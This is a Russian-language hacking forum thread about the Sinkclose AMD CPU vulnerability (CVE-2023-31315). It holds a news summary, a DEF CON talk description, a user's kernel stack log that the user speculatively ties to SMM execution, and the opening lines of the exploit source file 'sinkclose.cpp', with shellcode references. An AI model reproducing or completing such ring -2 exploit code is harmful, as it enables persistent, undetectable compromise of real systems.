• XSS.stack #1 – первый литературный журнал от юзеров форума

Sinkclose - уязвимость в CPU AMD, позволяющая получить доступ к SMM

INC.

REVERSE SIDE OF THE MEDAL
Эксперт
Регистрация
02.02.2008
Сообщения
3 949
Реакции
1 872
Исследователи из компании IOActive выявили уязвимость (CVE-2023-31315) в процессорах AMD, которая при привилегированном локальном доступе к системе позволяет изменить конфигурацию SMM (System Management Mode, Ring -2), даже если включён механизм блокировки SMM (SMM Lock), а также потенциально даёт возможность добиться выполнения кода на уровне SMM. Уровень SMM, имеющий более высокий приоритет, чем режим гипервизора и нулевое кольцо защиты, позволяет получить неограниченный доступ ко всей системной памяти и может использоваться для контроля за операционной системой.

Уязвимость, которая получила кодовое имя Sinkclose, вызвана некорректной проверкой моделезависимых регистров (MSR, Model Specific Register). За SMM закрепляется область физических страниц памяти, к которой блокируется доступ на уровне контроллера памяти. Выявленная уязвимость позволяет обойти данную блокировку через манипуляцию с определёнными регистрами MSR, запись в которые не была запрещена несмотря на выставление режима SMM Lock.

Эксплуатация уявзимости может быть совершена из нулевого кольца защиты, на котором работает ядро операционной системы, и использоваться, например, для сохранения своего присутствия после эксплуатации других уязвимостей в системе или применения методов социальной инженерии. Операционная система не имеет возможность отслеживать и контролировать выполнение кода на уровне SMM, что может быть использовано для модификации прошивок и размещения скрытого вредоносного кода или руткитов, не определяемых из операционной системы, а также для отключения верификации на этапе загрузки и атак на гипервизоры для обхода механизмов проверки целостности виртуальных окружений.

Уязвимость проявляется практически во всех чипах AMD, выпускаемых с 2006 года, включая серии процессоров AMD EPYC (1-4 поколения), Ryzen (R1000, R2000, 3000-8000, V1000, V2000, V3000), Athlon 3000 и Threadripper PRO. Обновления микрокода для блокирования уязвимости уже выпущено для мобильных и десктопных серий CPU EPYC и Ryzen. Для встраиваемых моделей CPU обновление планируют опубликовать в октябре. Единственным способом удаления внедрённого через атаку на SMM вредоносного кода является очистка памяти при помощи физически подключённого программатора SPI Flash.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
[DEF CON 32] AMD Sinkclose: Universal Ring -2 Privilege Escalation

Description
System Management Mode (SMM) is one of the most powerful execution modes in the x86 architecture and code at this level is invisible to the Hypervisor and OS-level protections, including anti-cheat engines and anti-virus systems. While the BIOS ecosystem's complexity has led to a multitude of vulnerabilities in firmware over time, vendors are now making strides in delivering patches with greater speed and efficiency. Unfortunately, these efforts are not enough in the presence of a CPU vulnerability.


When researching the AMD processor, our team noticed a flaw in one of the critical components required for securing SMM. This silicon-level issue appears to have remained undetected for nearly two decades.


This presentation starts by providing an introduction to SMM and the security mechanisms that the AMD processor provides to support it. Subsequently, it delves into the CPU design flaw and the complete methodology and engineering used to create a universal ring -2 privilege escalation exploit.
https://info.defcon.org/event/?id=54863

DEF CON 32 - Enrique Nissim Krzysztof Okupski - AMD Sinkclose Universal Ring-2 Privilege Escalation Demo1.mp4
DEF CON 32 - Enrique Nissim Krzysztof Okupski - AMD Sinkclose Universal Ring-2 Privilege Escalation Demo2.mp4

slides
тык

p.s. половину слайдов нет - наложен эмбарго.
 
на херусе недавно отловил вот такую движуху
Код:
[84478.315416] WARNING: kernel stack regs at 00000000d88cde8f in vgs:15013 has bad 'bp' value 000000004d67122a
[84478.315426] unwind stack type:1 next_sp:0000000000000000 mask:0x6 graph_idx:0
[84478.315428] 00000000a939bf65: ffffa7960027cd40 (0xffffa7960027cd40)
[84478.315437] 00000000a73fcac4: ffffffffa2669feb (arch_stack_walk+0x9b/0x110)
[84478.315444] 00000000dd3405bf: 0000000000000001 (0x1)
[84478.315446] 00000000864341c2: ffffa79623c48000 (0xffffa79623c48000)
[84478.315448] 000000008eb4098e: ffffa79623c4c000 (0xffffa79623c4c000)
[84478.315450] 00000000a60e28d9: 0000000000000000 ...
[84478.315451] 00000000256a64f4: 0000000000000006 (0x6)
[84478.315453] 00000000c7ec64b3: ffff9b14c6d10000 (0xffff9b14c6d10000)
[84478.315455] 000000001f049e45: 0000000000000000 ...
[84478.315455] 00000000d8c95844: 0000000000000101 (0x101)
[84478.315457] 00000000d8fb841c: 0000000000000000 ...
[84478.315458] 00000000935dd4c3: ffffa7960027cc90 (0xffffa7960027cc90)
[84478.315459] 000000003de7aca4: ffffffffa26a70b5 (arch_rethook_trampoline+0x35/0x60)
[84478.315464] 0000000030ea62bf: 0000000000000000 ...
[84478.315465] 000000000970d69e: ffffa79623c4b8a8 (0xffffa79623c4b8a8)
[84478.315466] 000000007586d799: e8b1f15e4179d700 (0xe8b1f15e4179d700)
[84478.315467] 00000000fc3e378e: ffff9b53eee5cb98 (0xffff9b53eee5cb98)
[84478.315469] 000000003c723501: ffff9b53eee5c938 (0xffff9b53eee5c938)
[84478.315470] 00000000c3e26bad: 0000000000000002 (0x2)
[84478.315471] 00000000f79c9917: 0000000000000000 ...
[84478.315472] 00000000c68d4431: ffff9b53eee5c958 (0xffff9b53eee5c958)
[84478.315473] 00000000e57cf3ab: ffffa7960027cd70 (0xffffa7960027cd70)
[84478.315475] 0000000058b4b105: ffffffffa27d42fb (stack_trace_save+0x4b/0x70)
[84478.315481] 00000000bdc2eb09: ffff9b53eee5cbb0 (0xffff9b53eee5cbb0)
[84478.315482] 00000000afec4eee: 0000000000000040 (0x40)
[84478.315483] 000000001b24dc69: 000000000000000e (0xe)
[84478.315485] 00000000a03db9c8: e8b1f15e4179d700 (0xe8b1f15e4179d700)
[84478.315486] 00000000664eb265: ffffa7960027cda0 (0xffffa7960027cda0)
[84478.315487] 00000000b743fbc6: ffffffffa2a56f06 (metadata_update_state+0x96/0xa0)
[84478.315493] 000000001efd2db7: ffff9b53eee5c938 (0xffff9b53eee5c938)
[84478.315495] 000000007925302b: ffff9b536de70000 (0xffff9b536de70000)
[84478.315496] 000000001b3240c1: 0000000000000282 (0x282)
[84478.315497] 0000000075dfb0c8: 0000000000000000 ...
[84478.315498] 00000000f09d9e80: ffffa7960027cde0 (0xffffa7960027cde0)
[84478.315499] 00000000d466d2ae: ffffffffa2a57b50 (kfence_guarded_free+0xa0/0x290)
[84478.315502] 000000004fae0627: 0000000000000000 ...
[84478.315503] 000000006f492af9: ffff9b536de70000 (0xffff9b536de70000)
[84478.315504] 000000005ed87345: fffff5e9beb79c00 (0xfffff5e9beb79c00)
[84478.315506] 00000000b0687c19: fffff5e9beb79c00 (0xfffff5e9beb79c00)
[84478.315507] 00000000a2367e44: ffff9b14c00a7540 (0xffff9b14c00a7540)
[84478.315508] 00000000b1c564b0: ffffffffa26e90b9 (__vm_area_free+0x59/0x80)
[84478.315514] 0000000065ab09f0: ffffa7960027cdf0 (0xffffa7960027cdf0)
[84478.315515] 00000000c020b96f: ffffffffa2a58720 (__kfence_free+0x40/0xc0)
[84478.315518] 0000000064fb1365: ffffa7960027ce40 (0xffffa7960027ce40)
[84478.315519] 0000000049127fbc: ffffffffa2a20e28 (kmem_cache_free+0x258/0x410)
[84478.315523] 0000000023eea34f: ffff9b536de70000 (0xffff9b536de70000)
[84478.315524] 000000003e9d4cf4: e8b1f15e4179d700 (0xe8b1f15e4179d700)
[84478.315526] 00000000d3fa5544: ffffa7960027ce58 (0xffffa7960027ce58)
[84478.315527] 0000000000836aa7: ffff9b536de70000 (0xffff9b536de70000)
[84478.315529] 000000004cdbeb0a: ffff9b14c6d10000 (0xffff9b14c6d10000)
[84478.315530] 0000000070450345: ffff9b536ea37900 (0xffff9b536ea37900)
[84478.315531] 00000000024051b3: ffffa7960027cea8 (0xffffa7960027cea8)
[84478.315533] 00000000eb303d7a: 0000000000000003 (0x3)
[84478.315534] 00000000ff1ceaa1: ffffa7960027ce58 (0xffffa7960027ce58)
[84478.315535] 000000007579845b: ffffffffa26e90b9 (__vm_area_free+0x59/0x80)
[84478.315538] 00000000be9a6b8f: 0000000000000004 (0x4)
[84478.315539] 00000000efa0b8d1: ffffa7960027ce68 (0xffffa7960027ce68)
[84478.315541] 0000000054ee90bc: ffffffffa26e9105 (vm_area_free_rcu_cb+0x15/0x20)
[84478.315544] 00000000ce8262ad: ffffa7960027cef0 (0xffffa7960027cef0)
[84478.315545] 00000000a1d70c4e: ffffffffa27b6ccf (rcu_do_batch+0x1bf/0x580)
[84478.315549] 00000000d4704948: ffffffffa435fbc0 (use_softirq+0x3c/0x3c)
[84478.315555] 00000000be043c6c: ffff9b536ea37978 (0xffff9b536ea37978)
[84478.315556] 0000000021ce14bd: ffff9b536ea37978 (0xffff9b536ea37978)
[84478.315557] 00000000bfae7781: ffffffffa27b6c66 (rcu_do_batch+0x156/0x580)
[84478.315560] 00000000dc267b06: 000000000000000a (0xa)
[84478.315561] 00000000089df4ac: 0000000000000000 ...
[84478.315562] 000000000e6c54c8: ffff9b33f892bf08 (0xffff9b33f892bf08)
[84478.315563] 000000000bacd824: ffff9b14cac1be08 (0xffff9b14cac1be08)
[84478.315564] 0000000015a04e3d: 0000000000000127 (0x127)
[84478.315566] 00000000b477c702: e8b1f15e4179d700 (0xe8b1f15e4179d700)
[84478.315567] 00000000c3735f28: 9a0aeb965c975abc (0x9a0aeb965c975abc)
[84478.315568] 0000000021d7a7af: ffff9b536ea37978 (0xffff9b536ea37978)
[84478.315570] 00000000e3cf6a02: ffff9b536ea00000 (0xffff9b536ea00000)
[84478.315571] 00000000ee10ae3b: ffff9b536ea37900 (0xffff9b536ea37900)
[84478.315572] 00000000ec446703: 0000000000035b88 (0x35b88)
[84478.315574] 00000000afd814cf: ffffa7960027cf48 (0xffffa7960027cf48)
[84478.315575] 000000003379b444: ffffffffa27b931f (rcu_core+0x83f/0xbc0)
[84478.315578] 0000000002906edb: ffffffffa269afa6 (lapic_next_event+0x16/0x30)
[84478.315581] 0000000093d1d928: ffffa7960027cf40 (0xffffa7960027cf40)
[84478.315582] 000000007125c4ce: ffffffffa27efcaa (clockevents_program_event+0xba/0x150)
[84478.315586] 00000000d2e247f2: ffffffffa435fbc0 (use_softirq+0x3c/0x3c)
[84478.315588] 000000007721f6f0: 0000000000000100 (0x100)
[84478.315589] 00000000b481fa39: 0000000000000009 (0x9)
[84478.315590] 000000002df66a7c: 000000000000000a (0xa)
[84478.315592] 00000000101f7443: 0000000000000200 (0x200)
[84478.315593] 00000000cee03bb4: ffffffffa4206108 (softirq_vec+0x48/0x80)
[84478.315597] 000000008650facd: ffffa7960027cf58 (0xffffa7960027cf58)
[84478.315598] 00000000fcede3ed: ffffffffa27b992e (rcu_core_si+0xe/0x20)
[84478.315601] 00000000badc3963: ffffa7960027cfb8 (0xffffa7960027cfb8)
[84478.315602] 000000005007a346: ffffffffa26f8da1 (handle_softirqs+0xe1/0x300)
[84478.315607] 00000000a97203a7: 004001000027cfc8 (0x4001000027cfc8)
[84478.315609] 00000000082e7b90: 000000010503ea1a (0x10503ea1a)
[84478.315610] 0000000098b2fa1a: 00004cd50000000a (0x4cd50000000a)
[84478.315612] 00000000a945ab10: ffff9b5300000009 (0xffff9b5300000009)
[84478.315613] 00000000e2125a6e: ffff9b536ea25cb8 (0xffff9b536ea25cb8)
[84478.315615] 00000000999e85f8: ffffa79623c4b8a8 (0xffffa79623c4b8a8)
[84478.315616] 000000002d902de4: 0000000000000000 ...
[84478.315617] 0000000057b5b210: ffffa7960027cfd8 (0xffffa7960027cfd8)
[84478.315618] 00000000ea159643: ffffffffa26f90a2 (__irq_exit_rcu+0xd2/0xf0)
[84478.315621] 000000003e4b40ec: ffffa79623c4b8a8 (0xffffa79623c4b8a8)
[84478.315622] 0000000086292a5e: 0000000000000000 ...
[84478.315623] 000000008d2f7e00: ffffa7960027cfe8 (0xffffa7960027cfe8)
[84478.315624] 000000001182df14: ffffffffa26f940e (irq_exit_rcu+0xe/0x20)
[84478.315627] 000000003cfdc318: ffffa79623c4b898 (0xffffa79623c4b898)
[84478.315628] 0000000006d44bab: ffffffffa3762a30 (sysvec_apic_timer_interrupt+0xa0/0xc0)
[84478.315635] 0000000010b62bef: ffffa79623c4b880 (0xffffa79623c4b880)
[84478.315636] 000000004f3e7d88: 0000000000000000 ...
[84478.315637] 00000000d74c1b33: ffffa79623c4b8a9 (0xffffa79623c4b8a9)
[84478.315638] 00000000d6225b0a: ffffffffa3800f8b (asm_sysvec_apic_timer_interrupt+0x1b/0x20)
[84478.315643] 00000000d88cde8f: 2f2f2f2f2f2f2f2f (0x2f2f2f2f2f2f2f2f)
[84478.315644] 00000000dac1a7bf: d0d0d0d0d0d0d0d0 (0xd0d0d0d0d0d0d0d0)
[84478.315646] 000000009a1a00a4: ffff9b14c725b034 (0xffff9b14c725b034)
[84478.315647] 00000000c56ddf9c: 0000000000000002 (0x2)
[84478.315648] 0000000051993f9d: ffffa79623c4b941 (0xffffa79623c4b941)
[84478.315650] 000000007a7ee546: ffffa79623c4bb48 (0xffffa79623c4bb48)
[84478.315651] 0000000081a8f83f: 0000000000000000 ...
[84478.315652] 00000000139edb40: ffffffffffffffff (0xffffffffffffffff)
[84478.315654] 0000000062b95496: ffffffffa26a70b5 (arch_rethook_trampoline+0x35/0x60)
[84478.315656] 00000000669baaf0: 0000000000000010 (0x10)
[84478.315658] 0000000010269a9e: 0000000000000246 (0x246)
[84478.315659] 00000000f5fe0cd1: ffffa79623c4b950 (0xffffa79623c4b950)
[84478.315661] 00000000add1457d: 0000000000000018 (0x18)
[84478.315662] 00000000b95ea21f: ffff9b14c725b034 (0xffff9b14c725b034)
[84478.315663] 0000000048d38d21: 0000000000000002 (0x2)
[84478.315665] 00000000486fa901: ffffa79623c4ba20 (0xffffa79623c4ba20)
[84478.315666] 00000000932d3232: ffffa79623c4bb48 (0xffffa79623c4bb48)
[84478.315667] 000000006e5157bb: 0000000000000000 ...
[84478.315668] 000000008aeefa57: ffff9b14cc995740 (0xffff9b14cc995740)
[84478.315669] 00000000082cbe4f: 0000000000000000 ...
[84478.315670] 00000000ad562d82: ffffffffffffffff (0xffffffffffffffff)
[84478.315671] 00000000e874f2db: ffffffffa2ab786f (walk_component+0x2f/0x1b0)
[84478.315675] 00000000ae79fabf: ffffa79623c40010 (0xffffa79623c40010)
[84478.315677] 00000000dbfded58: 0000000000000246 (0x246)
[84478.315678] 000000005e37073c: ffffa79623c4b9f0 (0xffffa79623c4b9f0)
[84478.315679] 00000000cc9d8cce: 0000000000000246 (0x246)
[84478.315681] 00000000469cb1a2: ffffffffa2ab786f (walk_component+0x2f/0x1b0)
[84478.315683] 0000000019e9499f: ffffffffa2ab25e7 (inode_permission+0x77/0x1d0)
[84478.315686] 000000004d3562de: 8080808080808080 (0x8080808080808080)
[84478.315687] 00000000c0f568ae: fefefefefefefeff (0xfefefefefefefeff)
[84478.315689] 00000000ad008551: ffff9b14c725b034 (0xffff9b14c725b034)
[84478.315690] 00000000e995ad7d: d0d0d0d0d0d0d0d0 (0xd0d0d0d0d0d0d0d0)
[84478.315691] 00000000e2472b52: 2f2f2f2f2f2f2f2f (0x2f2f2f2f2f2f2f2f)
[84478.315693] 000000000afdedb4: ffffa79623c4ba90 (0xffffa79623c4ba90)
[84478.315694] 00000000f4ed9018: ffffffffa2ab7cc7 (link_path_walk.part.0.constprop.0+0x2c7/0x3f0)
[84478.315696] 00000000d23a437e: ffffa79623c4bb48 (0xffffa79623c4bb48)
[84478.315698] 00000000655f46dc: ffffa79623c4bb48 (0xffffa79623c4bb48)
[84478.315699] 00000000bb2f6709: ffffa79623c4bb48 (0xffffa79623c4bb48)
[84478.315700] 00000000ec7069cc: 0000000023c4bb48 (0x23c4bb48)
[84478.315702] 0000000046cc5b2c: ffffa79623c4ba90 (0xffffa79623c4ba90)
[84478.315703] 0000000080faf992: ffffffffa2ab5ea5 (path_init+0x355/0x4a0)
[84478.315705] 000000007cbd1596: e8b1f15e4179d700 (0xe8b1f15e4179d700)
[84478.315706] 0000000086c4209c: 0000000000000006 (0x6)
[84478.315708] 00000000d45a39da: ffffa79623c4bc84 (0xffffa79623c4bc84)
[84478.315709] 00000000cfc40993: 0000000000000001 (0x1)
[84478.315710] 00000000f3fc6374: ffffa79623c4bb48 (0xffffa79623c4bb48)
[84478.315712] 000000003d4e614c: ffffa79623c4bb48 (0xffffa79623c4bb48)
[84478.315713] 00000000bdd48b29: ffffa79623c4bb38 (0xffffa79623c4bb38)
[84478.315714] 000000000a67ecd6: ffffffffa2ab9796 (path_openat+0xb6/0x13b0)
[84478.315717] 000000001792fa7a: ffffffffffff4111 (0xffffffffffff4111)
[84478.315718] 000000001f854eea: ffffffffffff4111 (0xffffffffffff4111)
[84478.315720] 00000000892432ed: ffffffffffff4111 (0xffffffffffff4111)
[84478.315721] 00000000ea155479: 00000041ffff4111 (0x41ffff4111)
[84478.315723] 00000000d446f8ce: ffffffffffff4111 (0xffffffffffff4111)
[84478.315724] 0000000074af67f9: ffffffffffff4111 (0xffffffffffff4111)
[84478.315725] 00000000cd7d44a3: ffffffffffff4111 (0xffffffffffff4111)
[84478.315727] 00000000dc9baf87: ffffffffffff4111 (0xffffffffffff4111)
[84478.315728] 000000003fa8d39b: ffffffffffff4111 (0xffffffffffff4111)
[84478.315729] 00000000dfb43dda: ffff9b18d89ff500 (0xffff9b18d89ff500)
[84478.315731] 000000006122c62e: ffffffffffff4111 (0xffffffffffff4111)
[84478.315732] 00000000f501c6a1: ffffffffffff4111 (0xffffffffffff4111)
[84478.315734] 000000000bf4e141: ffffffffffff4111 (0xffffffffffff4111)
[84478.315735] 000000004f9a6b53: e8b1f15e4179d700 (0xe8b1f15e4179d700)
[84478.315736] 00000000298dd4ec: 0000000000000006 (0x6)
[84478.315738] 00000000804093bb: ffffa79623c4bb48 (0xffffa79623c4bb48)
[84478.315739] 0000000028fd5789: 0000000000000001 (0x1)
[84478.315740] 000000004e5521ee: ffffa79623c4bc84 (0xffffa79623c4bc84)
[84478.315742] 0000000093cad5cf: ffff9b14c6d10000 (0xffff9b14c6d10000)
[84478.315743] 00000000846cec39: ffffa79623c4bc68 (0xffffa79623c4bc68)
[84478.315744] 000000009b9d6768: ffffffffa2abab64 (do_filp_open+0xc4/0x180)
[84478.315747] 00000000c9fd940e: ffffff9c00000002 (0xffffff9c00000002)
[84478.315748] 00000000e7dad023: 0000000000000000 ...
[84478.315749] 00000000ee2233fc: 00000002420dc28b (0x2420dc28b)
[84478.315750] 00000000d700cf0c: ffff9b14c725b031 (0xffff9b14c725b031)
[84478.315751] 0000000035c0c52b: ffff9b14c725b000 (0xffff9b14c725b000)
[84478.315753] 000000005c0dff70: 0000000000000002 (0x2)
[84478.315754] 0000000054904db2: ffff9b14c750c490 (0xffff9b14c750c490)
[84478.315755] 00000000a7e58d30: ffff9b33f78e3d40 (0xffff9b33f78e3d40)
[84478.315757] 0000000041677a2d: ffffffffa2ae2500 (__pfx_kfree_link+0x10/0x10)
[84478.315763] 00000000af4e14e1: ffff9b14cc0ef000 (0xffff9b14cc0ef000)
[84478.315764] 0000000054ec3316: ffff9b14c725b031 (0xffff9b14c725b031)
[84478.315765] 000000005b0cb28b: 0000000000000000 ...
[84478.315766] 000000002d27ad02: ffff9b34001b8828 (0xffff9b34001b8828)
[84478.315767] 0000000067b95959: ffff9b14ca521510 (0xffff9b14ca521510)
[84478.315769] 00000000127dd190: ffff9b14cc951bc0 (0xffff9b14cc951bc0)
[84478.315770] 00000000f93db2ef: 0000000000000000 ...
[84478.315771] 00000000926d6d86: ffff9b14c750c490 (0xffff9b14c750c490)
[84478.315772] 000000009e73655f: ffff9b340ac2a300 (0xffff9b340ac2a300)
[84478.315773] 0000000068906588: 0000001100008c04 (0x1100008c04)
[84478.315775] 000000005ae9d6cb: 000000010000137e (0x10000137e)
[84478.315776] 000000006f0b6d85: ffffa79623c4bb78 (0xffffa79623c4bb78)
[84478.315778] 000000003b768a8d: 0000000000000000 ...
[84478.315778] 00000000f961c26b: e8b1f15e4179d700 (0xe8b1f15e4179d700)
[84478.315780] 000000004cbbd188: 0000000000000006 (0x6)
[84478.315781] 0000000006dc0a04: 00000000ffffff9c (0xffffff9c)
[84478.315782] 000000007b195dfe: ffff9b14c725b000 (0xffff9b14c725b000)
[84478.315784] 000000004a2e4686: 0000000000000000 ...
[84478.315784] 00000000520c1992: ffffa79623c4bcb8 (0xffffa79623c4bcb8)
[84478.315786] 00000000bb1df49b: ffffffffa2a9c823 (do_sys_openat2+0xb3/0xe0)
[84478.315789] 0000000015861d0c: ffffffffffff4111 (0xffffffffffff4111)
[84478.315790] 00000000e555d472: 00008000ffff4111 (0x8000ffff4111)
[84478.315792] 00000000ed38391f: 0000000400000000 (0x400000000)
[84478.315793] 00000000d3994062: 0000000100000100 (0x100000100)
[84478.315794] 00000000ffdcdf1a: e8b1f15e4179d700 (0xe8b1f15e4179d700)
[84478.315796] 0000000024442452: ffffa79623c4bf58 (0xffffa79623c4bf58)
[84478.315797] 00000000604f9585: 0000000000000101 (0x101)
[84478.315798] 00000000f49b41f6: 0000000000000101 (0x101)
[84478.315799] 00000000938335b0: ffffa79623c4bce8 (0xffffa79623c4bce8)
[84478.315801] 00000000561ba46e: ffffffffa2a9ccde (__x64_sys_openat+0x6e/0xa0)
[84478.315803] 0000000020826164: 0000000000008000 (0x8000)
[84478.315804] 0000000064caabad: 0000000000000000 ...
[84478.315805] 00000000ebec851a: e8b1f15e4179d700 (0xe8b1f15e4179d700)
[84478.315806] 00000000083203af: ffffa79623c4bcf8 (0xffffa79623c4bcf8)
[84478.315808] 000000004f2c0ee9: ffffffffa2605e02 (x64_sys_call+0xfb2/0x24d0)
[84478.315811] 00000000f84505f8: ffffa79623c4bf48 (0xffffa79623c4bf48)
[84478.315813] 00000000ba630b3e: ffffffffa375bd8e (do_syscall_64+0x7e/0x170)
[84478.315817] 0000000013fa518f: ffffffffffff4111 (0xffffffffffff4111)
[84478.315819] 00000000d207d40a: ffffffffffff4111 (0xffffffffffff4111)
[84478.315820] 00000000229176cb: ffffffffffff4111 (0xffffffffffff4111)
[84478.315822] 000000007ca15973: ffffffffffff4111 (0xffffffffffff4111)
[84478.315823] 00000000815fe238: ffffffffffff4111 (0xffffffffffff4111)
[84478.315824] 000000003b9dc16b: ffffffffffff4111 (0xffffffffffff4111)
[84478.315826] 000000005d5443af: ffffffffffff4111 (0xffffffffffff4111)
[84478.315827] 00000000022254b1: ffffffffffff4111 (0xffffffffffff4111)
[84478.315828] 0000000091d6314d: ffffffffffff4111 (0xffffffffffff4111)
[84478.315830] 000000005110fb23: ffffffffffff4111 (0xffffffffffff4111)
[84478.315831] 00000000efecdce7: ffffffffffff4111 (0xffffffffffff4111)
[84478.315833] 00000000c906296e: ffffffffffff4111 (0xffffffffffff4111)
[84478.315834] 00000000a2134a18: ffffffffffff4111 (0xffffffffffff4111)
[84478.315835] 00000000ce02a611: ffffffffffff4111 (0xffffffffffff4111)
[84478.315837] 000000005d00bc17: ffffffffffff4111 (0xffffffffffff4111)
[84478.315838] 0000000003b93a99: ffffffffffff4111 (0xffffffffffff4111)
[84478.315839] 00000000fa087f58: ffffffffffff4111 (0xffffffffffff4111)
[84478.315841] 000000009d935ccd: ffffffffffff4111 (0xffffffffffff4111)
[84478.315842] 000000001f93e486: ffffffffffff4111 (0xffffffffffff4111)
[84478.315843] 00000000459a5d12: ffffffffffff4111 (0xffffffffffff4111)
[84478.315845] 0000000011312b98: ffffffffffff4111 (0xffffffffffff4111)
[84478.315846] 000000004b65260a: ffffffffffff4111 (0xffffffffffff4111)
[84478.315848] 00000000f30811fd: ffffffffffff4111 (0xffffffffffff4111)
[84478.315849] 000000002f7ee13c: ffffffffffff4111 (0xffffffffffff4111)
[84478.315850] 000000003a38449c: ffffffffffff4111 (0xffffffffffff4111)
[84478.315852] 000000002ac6cc9f: ffffffffffff4111 (0xffffffffffff4111)
[84478.315853] 000000002d1a78e2: ffffffffffff4111 (0xffffffffffff4111)
[84478.315855] 000000007958a15e: ffffffffffff4111 (0xffffffffffff4111)
[84478.315856] 0000000082b12576: ffffffffffff4111 (0xffffffffffff4111)
[84478.315857] 00000000dd906fc9: ffffffffffff4111 (0xffffffffffff4111)
[84478.315859] 0000000069e3893c: ffffffffffff4111 (0xffffffffffff4111)
[84478.315860] 00000000e0460485: ffffffffffff4111 (0xffffffffffff4111)
[84478.315862] 00000000ec037941: ffffffffffff4111 (0xffffffffffff4111)
[84478.315863] 000000000ea0db5e: ffffffffffff4111 (0xffffffffffff4111)
[84478.315864] 000000003d74c027: ffffffffffff4111 (0xffffffffffff4111)
[84478.315866] 00000000c39ac95b: ffffffffffff4111 (0xffffffffffff4111)
[84478.315867] 000000008880c64a: ffffffffffff4111 (0xffffffffffff4111)
[84478.315869] 00000000da2f8fb3: ffffffffffff4111 (0xffffffffffff4111)
[84478.315870] 00000000c942123f: ffffffffffff4111 (0xffffffffffff4111)
[84478.315871] 000000002a7abdef: ffffffffffff4111 (0xffffffffffff4111)
[84478.315873] 000000004de388c8: ffffffffffff4111 (0xffffffffffff4111)
[84478.315874] 00000000f802437e: ffffffffffff4111 (0xffffffffffff4111)
[84478.315876] 0000000074603ea6: ffffffffffff4111 (0xffffffffffff4111)
[84478.315877] 0000000018c6f5ad: ffffffffffff4111 (0xffffffffffff4111)
[84478.315878] 00000000345d3033: ffffffffffff4111 (0xffffffffffff4111)
[84478.315880] 000000009c62607b: ffffffffffff4111 (0xffffffffffff4111)
[84478.315881] 00000000060af856: ffffffffffff4111 (0xffffffffffff4111)
[84478.315882] 0000000079cc1a0f: ffffffffffff4111 (0xffffffffffff4111)
[84478.315884] 000000008cb8ba57: ffffffffffff4111 (0xffffffffffff4111)
[84478.315885] 00000000df7f39ad: ffffffffffff4111 (0xffffffffffff4111)
[84478.315886] 00000000587cc4ae: ffffffffffff4111 (0xffffffffffff4111)
[84478.315888] 0000000066fe135a: ffffffffffff4111 (0xffffffffffff4111)
[84478.315889] 000000000f15c4f4: ffffffffffff4111 (0xffffffffffff4111)
[84478.315891] 00000000c2d37f46: ffffffffffff4111 (0xffffffffffff4111)
[84478.315892] 00000000763c52ab: ffffffffffff4111 (0xffffffffffff4111)
[84478.315893] 0000000068922c5a: ffffffffffff4111 (0xffffffffffff4111)
[84478.315895] 000000009e75e64f: ffffffffffff4111 (0xffffffffffff4111)
[84478.315896] 000000008eb7f696: ffffffffffff4111 (0xffffffffffff4111)
[84478.315897] 0000000083bf82cb: ffffffffffff4111 (0xffffffffffff4111)
[84478.315899] 000000008d05f172: ffffffffffff4111 (0xffffffffffff4111)
[84478.315900] 0000000091ef3c51: ffffffffffff4111 (0xffffffffffff4111)
[84478.315902] 00000000a154882d: ffffffffffff4111 (0xffffffffffff4111)
[84478.315903] 000000009ee28692: ffffffffffff4111 (0xffffffffffff4111)
[84478.315904] 0000000074b83280: ffffffffffff4111 (0xffffffffffff4111)
[84478.315906] 00000000fdeda021: ffffffffffff4111 (0xffffffffffff4111)
[84478.315907] 000000003c01dc84: ffffffffffff4111 (0xffffffffffff4111)
[84478.315908] 0000000045d50242: ffffffffffff4111 (0xffffffffffff4111)
[84478.315910] 000000006d8c0bbb: ffffffffffff4111 (0xffffffffffff4111)
[84478.315911] 00000000713101dd: ffffffffffff4111 (0xffffffffffff4111)
[84478.315912] 00000000139f3a99: 0000000000000000 ...
[84478.315913] 00000000430ea12a: ffffffffa380012b (entry_SYSCALL_64_after_hwframe+0x76/0x7e)
[84478.315916] 0000000057804246: 00007c27f801d020 (0x7c27f801d020)
[84478.315917] 000000002d266589: 0000000000000001 (0x1)
[84478.315918] 000000004f6d97f3: 00006260455dc1f8 (0x6260455dc1f8)
[84478.315920] 00000000122bea21: 00007ffcc1bab2e0 (0x7ffcc1bab2e0)
[84478.315921] 00000000f199f44e: 00007ffcc1bab2e0 (0x7ffcc1bab2e0)
[84478.315922] 0000000014d6cd75: 0000000000000000 ...
[84478.315923] 0000000082c2fc36: 0000000000000202 (0x202)
[84478.315924] 00000000e1ad6d5e: 0000000000000000 ...
[84478.315925] 00000000a0e35777: 0000000000000001 (0x1)
[84478.315926] 000000004fdedf38: 0000000000000008 (0x8)
[84478.315928] 00000000cd17a204: ffffffffffffffda (0xffffffffffffffda)
[84478.315929] 00000000e0e8326b: 00007c27f7c48f01 (0x7c27f7c48f01)
[84478.315930] 000000006f33348d: 0000000000000000 ...
[84478.315931] 00000000a045449a: 00007ffcc1bab2e0 (0x7ffcc1bab2e0)
[84478.315932] 000000007eed3612: 00000000ffffff9c (0xffffff9c)
[84478.315934] 000000006c8de72e: 0000000000000101 (0x101)
[84478.315935] 000000000443fd49: 00007c27f7c48f01 (0x7c27f7c48f01)
[84478.315936] 00000000eaa1b2da: 0000000000000033 (0x33)
[84478.315938] 000000009b1d3a43: 0000000000000202 (0x202)
[84478.315939] 000000000a327acb: 00007ffcc1bab0c0 (0x7ffcc1bab0c0)
[84478.315940] 00000000a04a30f4: 000000000000002b (0x2b)

ядро там усиленное стоит, заботливо собранное лично. в момент происходящего подвисал хост. связываю с выполнением в контексте смм.
сцуко страшно)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
sinkclose.cpp
C++:
#include "global.h"
#include "pci.h"
#include "common_chipset.h"
#include "amd_chipset.h"
#include "Util.h"
#include "physmem.h"
#include "msr.h"
#include "smi.h"
#include "smm_communicate.h"

#ifdef __linux__
#include <sched.h>
#include <unistd.h>
#endif

extern "C" {
    void _core0_shell();
}

#define DUMP_TSEG 1
//#define SQUIRREL_DEBUG      1
// #define INSTALL_FCH_SMI_HANDLER 1
// #define INSTALL_ROOT_SMI_HANDLER 1


#define SQUIRREL_BAR        0xD0800000

/// Used for calculating sizes of the assembly functions
/// (shellcode defined in sinkclose.s)
#define FUNCTION_END_NEEDLE "\x90\x90\x90\x90IOA\x90\x90\x90\x90\x90"

/// This is the space in between the different SMM_BASE across
/// the different cores
#define SMM_BASE_DISTANCE               0x2000

/// The GDTR is FFFE-FFFFFFFF
